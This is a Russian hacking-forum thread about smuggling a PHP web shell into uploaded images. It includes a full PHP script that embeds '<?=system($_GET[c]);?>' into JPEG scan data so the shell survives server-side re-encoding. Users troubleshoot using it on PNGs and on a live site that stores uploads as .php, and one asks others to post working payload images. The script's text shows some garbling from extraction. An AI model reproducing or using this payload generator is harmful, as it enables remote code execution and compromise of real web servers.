Вернуться   RDot > Аспекты НСД > Web-среда/Web-applications

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 12.09.2017, 11:02   #11
mikhailtpm
 
Аватар для mikhailtpm
 
Регистрация: 01.07.2015
Сообщений: 67
Репутация: 0
По умолчанию

Такая штука, что сервер не принимает изображение меньше 300x300 пикселей.
Пытаюсь внедрить пейлоад с помощью кода BlackFan-a
PHP код:
<?php

    $miniPayload 
'<?=system($_GET[c]);?>';

    if(!
extension_loaded('gd') || !function_exists('imagecreatefrompng')) {
        die(
'php-gd is not installed');
    }
    
    if(!isset(
$argv[1])) {
        die(
'php png_payload.php <png_name.png>');
    }

    
set_error_handler("custom_error_handler");

    for(
$pad 0$pad 1024$pad++) {
        
$nullbytePayloadSize $pad;
        
$dis = new DataInputStream($argv[1]);
        
$outStream file_get_contents($argv[1]);
        
$extraBytes 0;
        
$correctImage TRUE;

        if(
$dis->readShort() != 0xFFD8) {
            die(
'Incorrect SOI marker');
        }

        while((!
$dis->eof()) && ($dis->readByte() == 0xFF)) {
            
$marker $dis->readByte();
            
$size $dis->readShort() - 2;
            
$dis->skip($size);
            if(
$marker === 0xDA) {
                
$startPos $dis->seek();
                
$outStreamTmp 
                    
substr($outStream0$startPos) . 
                    
$miniPayload 
                    
str_repeat("\0",$nullbytePayloadSize) . 
                    
substr($outStream$startPos);
                
checkImage('_'.$argv[1], $outStreamTmpTRUE);
                if(
$extraBytes !== 0) {
                    while((!
$dis->eof())) {
                        if(
$dis->readByte() === 0xFF) {
                            if(
$dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    
$stopPos $dis->seek() - 2;
                    
$imageStreamSize $stopPos $startPos;
                    
$outStream 
                        
substr($outStream0$startPos) . 
                        
$miniPayload 
                        
substr(
                            
str_repeat("\0",$nullbytePayloadSize).
                                
substr($outStream$startPos$imageStreamSize),
                            
0,
                            
$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                
substr($outStream$stopPos);
                } elseif(
$correctImage) {
                    
$outStream $outStreamTmp;
                } else {
                    break;
                }
                if(
checkImage('payload_'.$argv[1], $outStream)) {
                    die(
'Success!');
                } else {
                    break;
                }
            }
        }
    }
    
unlink('payload_'.$argv[1]);
    die(
'Something\'s wrong');

    function 
checkImage($filename$data$unlink FALSE) {
        global 
$correctImage;
        
file_put_contents($filename$data);
        
$correctImage TRUE;
        
imagecreatefrompng($filename);
        if(
$unlink)
            
unlink($filename);
        return 
$correctImage;
    }

    function 
custom_error_handler($errno$errstr$errfile$errline) {
        global 
$extraBytes$correctImage;
        
$correctImage FALSE;
        if(
preg_match('/(\d+) extraneous bytes before marker/'$errstr$m)) {
            if(isset(
$m[1])) {
                
$extraBytes = (int)$m[1];
            }
        }
    }

    class 
DataInputStream {
        private 
$binData;
        private 
$order;
        private 
$size;

        public function 
__construct($filename$order false$fromString false) {
            
$this->binData '';
            
$this->order $order;
            if(!
$fromString) {
                if(!
file_exists($filename) || !is_file($filename))
                    die(
'File not exists ['.$filename.']');
                
$this->binData file_get_contents($filename);
            } else {
                
$this->binData $filename;
            }
            
$this->size strlen($this->binData);
        }

        public function 
seek() {
            return (
$this->size strlen($this->binData));
        }

        public function 
skip($skip) {
            
$this->binData substr($this->binData$skip);
        }

        public function 
readByte() {
            if(
$this->eof()) {
                die(
'End Of File');
            }
            
$byte substr($this->binData01);
            
$this->binData substr($this->binData1);
            return 
ord($byte);
        }

        public function 
readShort() {
            if(
strlen($this->binData) < 2) {
                die(
'End Of File');
            }
            
$short substr($this->binData02);
            
$this->binData substr($this->binData2);
            if(
$this->order) {
                
$short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                
$short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return 
$short;
        }

        public function 
eof() {
            return !
$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
в png, но выдает ошибку "Incorrect SOI marker". Может кто помочь? Пнгшка: https://www.sendspace.com/file/xf73ko
mikhailtpm вне форума   Ответить с цитированием
Старый 12.09.2017, 13:14   #12
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Цитата:
Сообщение от mikhailtpm Посмотреть сообщение
Пытаюсь внедрить пейлоад с помощью кода BlackFan-a в png
Цитата:
Сообщение от BlackFan
Повторим то же самое для JPG.

Порядок обработки RGB-данных при сохранении в JPG (JFIF)
jpeg != png

https://www.idontplaydarts.com/2012/...g-idat-chunks/
crlf вне форума   Ответить с цитированием
Старый 18.10.2017, 13:12   #13
penis_dominator
 
Регистрация: 17.10.2017
Сообщений: 1
Репутация: 0
По умолчанию

У меня все равно режется код. Самое удивительное, что сайт сохраняет картинки с расширением .php!!!
Однако из-за уменьшения размера не получается выполнить код

Кто может выложите свои успешные варианты картинок, которая из первого поста у меня не подошла

Программулька на php которую выложили выдает мне каждый раз Something's wrong

Последний раз редактировалось penis_dominator; 18.10.2017 в 13:27..
penis_dominator вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot